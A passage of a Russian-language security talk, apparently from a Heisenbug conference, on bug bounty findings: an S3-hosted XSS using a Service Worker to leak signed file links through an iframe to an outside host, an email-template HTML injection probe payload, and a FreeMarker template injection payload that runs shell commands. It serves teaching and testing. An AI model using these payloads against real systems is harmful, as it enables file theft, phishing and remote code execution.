Но не всегда, потому что есть легальные обходы SOP. Разработчикам необходимо связываться с другими сайтами на клиенте, ходить на другие сайты, читать ответы, что-то туда посылать и что-то динамически обновлять. Они используют для этого CORS, WebSocket, PostMessage, JSONP, Flash.

Куки, поставленные на одном порту, можно прочитать на любом другом порту.

Есть экспериментальные фичи JS, которые иногда тоже несут угрозу для SOP. Иногда это приводит к неожиданным результатам.

Я приведу приватный пример из Bug Bounty — XSS в S3-бакете, позволяющий красть чужие файлы.

Контекст этого веб-приложения: это CRM, где можно заводить сделки с потенциальными клиентами и заполнять информацию о них, в том числе загружать файлы.

Я подумал: «Что будет, если загрузить HTML-страницу?»

Обычная страница, где я хочу посмотреть, на каком домене она выполняется. И она успешно загружается.

После открытия страницы сначала кажется, что XSS находится не в приложении, а в S3-бакете.

Они берут файл пользователя, кладут у себя в бакет, и дальше, когда пользователь хочет получить доступ к файлу, он делает это в приложении, но приложение редиректит его в S3-бакет, где хостится этот файл.

При попытке открыть файл на сервере генерируется подпись запроса, по которой файл будет доступен какое-то время. Нельзя просто так получить файл, надо, чтобы запрос был подписан. Это происходит на серверной стороне приложения, когда вы загрузили этот файл и хотите его открыть. На сервере происходит генерация подписи, и приложение редиректит пользователя на файл в S3-бакете, где эта подпись уже включена в запрос. По этой подписи файл будет доступен какое-то время.

Очевидно, что JS выполняется на другом Origin, потому что S3-бакет – поддомен Amazon, он не имеет никакого влияния на другой домен, на котором хостится основное приложение.

На первый взгляд, XSS бесполезны, но существуют следующие факторы:

  • возможность загрузить любой файл;

  • возможность выполнять произвольный JavaScript;

  • все файлы, в том числе других пользователей, кладутся в одну и ту же папку (например, в корень);

  • ссылкой на загруженный файл можно поделиться с кем угодно.

Эти факторы позволяют красть чужие файлы через перезапись ответа Service Worker. Для этого нужно создать и загрузить serviceworker.js:

Навешиваемся на событие fetch, переписываем ответ сервера на код iframe src и говорим, что тип ответа — text/html. Каждый запрос пользователя будет возвращать одинаковый ответ благодаря этому Service Worker.

Также загрузим exploit.html:

Это страница, которая нужна для эксплуатации этого Service Worker. Регистрируем его, указывая путь до него с подписями, потому что мы хостим этот serviceworker.js в этом же S3-бакете. И говорим, что скоуп — корень.

Что произойдет, если кто-то откроет exploit.html:

  • В браузере зарегистрируется Service Worker

  • При открытии любой страницы этого сайта, начиная от директории с serviceworker.js, ответ перепишется на:

<iframe src="https://avtohanter.ru/ref?x=">

  • В заголовке Referer браузер передаст путь, на котором сработал Service Worker.

От лица жертвы это будет выглядеть так:

Я пошлю фишинговое письмо с короткой ссылкой на свой exploit.html-файл. Зарегистрирую у пользователя Service Worker. Дальше, если этот пользователь захочет открыть файл у себя в организации, ответ перепишется на iframe, который ведет на мой сайт.

И я получу примерно такой запрос:

В Referer будет полный путь до файла, где пользователь захотел открыть свой файл. У меня есть полный путь с подписями, поэтому я могу открыть его, и это дает мне полный доступ к этому файлу в дальнейшем.

Бонус

Мало кто задумывается, что письма — это HTML-код. Например, есть такое письмо от Trello:

В письмо тоже подтягиваются пользовательские значения, возможно, там есть XSS. Но письма мы смотрим в почтовых клиентах (обычно Mail.ru, Яндекс) и, разумеется, XSS в письме ведет к XSS в почтовом клиенте, а это уже другой скоуп, который никак не влияет на организацию, которая послала это письмо.

Но здесь тоже есть XSS-уязвимость, она называется Email template’s HTML injection. Вместо вызова JS мы встраиваемся в HTML-шаблон, который прислала нам компания.

Пейлоад выглядит так:

--></script><a href="//qwe.com">qwe</a><img src=x>${7*7}{{7*7}}<!--

49 = SSTI*

*SSTI – https://portswigger.net/blog/server-side-template-injection

Примерно как пейлоад для поиска XSS, но здесь мы не вызываем функцию JS, а встраиваем наши HTML-теги в шаблон письма. Также здесь есть ${77}{{77}}, как для AngularJS, только AngularJS рендерится на клиентской стороне, а этот пейлоад призван проверять возможность рендера клиентского значения через шаблонизаторы.

Пример уязвимого шаблона:

На первый взгляд — обычное письмо. Но если посмотреть на тему, то можно увидеть, что там есть HTML-теги, гиперссылка и HTML-коммент.

Идея в том, что мы добавляем нашу вредоносную гиперссылку, комментим оригинальное письмо и отправляем это письмо кому угодно.

Так как мы можем контролировать гиперссылку и контекст, мы можем зафишить кого-то невнимательного, потому что ссылка будет вести на левый сайт.

Недавно мне пришло такое письмо:

Кто-то пытался эксплуатировать абсолютно то же самое: приглашали присоединиться к организации. Разумеется, это фишинг.

Если ${7*7} -> 49 считается не на клиентской стороне, а на серверной, то это будет уязвимость, которая называется SSTI (Server Side Template Injection). Ее суть в том, что разработчики используют какие-то шаблонизаторы, потом они через эти шаблонизаторы прогоняют свои HTML-шаблоны и, если там есть что-то похожее на template expression language, они это рендерят.

Я покажу еще один пример из Bug Bounty. Это был RCE (remote code execution) через инъекцию шаблона во FreeMarker.

Это приложение позволяет создавать свои события, свою кампанию отсылки имейлов.

Имейлы здесь кастомные. Предоставляем HTML, который нужно разослать. Уязвимость была уже в том, что можно послать любой HTML с официального адреса этой компании кому угодно.

Но была еще более серьезная уязвимость. Она заключалась в том, что, если загрузить туда ${77} или #{77}, при превью этого шаблона у нас выведется 49:

Путем недолгих ковыряний я понял, что используется шаблон FreeMarker. А у шаблонизаторов FreeMarker есть такие штуки:

[#assign cmd = ‘freemarker.template.utility.Execute’?new()]
${cmd(‘id’)}

Достаточно вызвать, использовать его и передать ему в качестве параметра какую-то shell-команду, например, id.

И действительно показывает, что root:

Выводы

Если вы разрабатываете приложение, работаете над архитектурой приложения, то всегда надо иметь в виду, что интернет — это небезопасное место.

Нужно всегда помнить, что нельзя доверять пользовательскому вводу. Рассматривайте место, где пользователь вам что-то посылает, как потенциально вредоносное.

Нужно проверять свое приложение, потому что даже самый внимательный разработчик все равно когда-то ошибется, допустит у себя уязвимость, и проверка необходима — чем чаще, тем лучше.

Используйте универсальный пейлоад, помещайте его во все поля, в каждый input. Рано или поздно это сработает, потом уже научитесь раскручивать, успешно находить еще больше XSS, может быть, придумаете свои векторы атаки.

В любом приложении всегда есть уязвимости, в том числе XSS. Если вы ищете баги безопасности, вы не можете быть уверены, что их там нет. Возможно, вы просто не можете их найти, но они там есть. Используя такое убеждение, можно найти еще больше багов.

Это был доклад с одного из предыдущих Heisenbug, а мы тем временем активно готовим следующий: с 5 по 7 октября состоится онлайн-конференция Heisenbug 2021 Moscow. Там будут десятки новых докладов по тестированию, и описания нескольких из них уже можно прочитать на сайте.

Понравилась статья? Поделить с друзьями:

Не пропустите также:

  • Как найти вертикальные асимптоты кривой
  • Msvcp20 dll что это за ошибка как исправить
  • Как найти сумму векторов в кубе
  • Как найти запись аварии
  • Как фигура лишняя найди разные решения

  • 0 0 голоса
    Рейтинг статьи
    Подписаться
    Уведомить о
    guest

    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии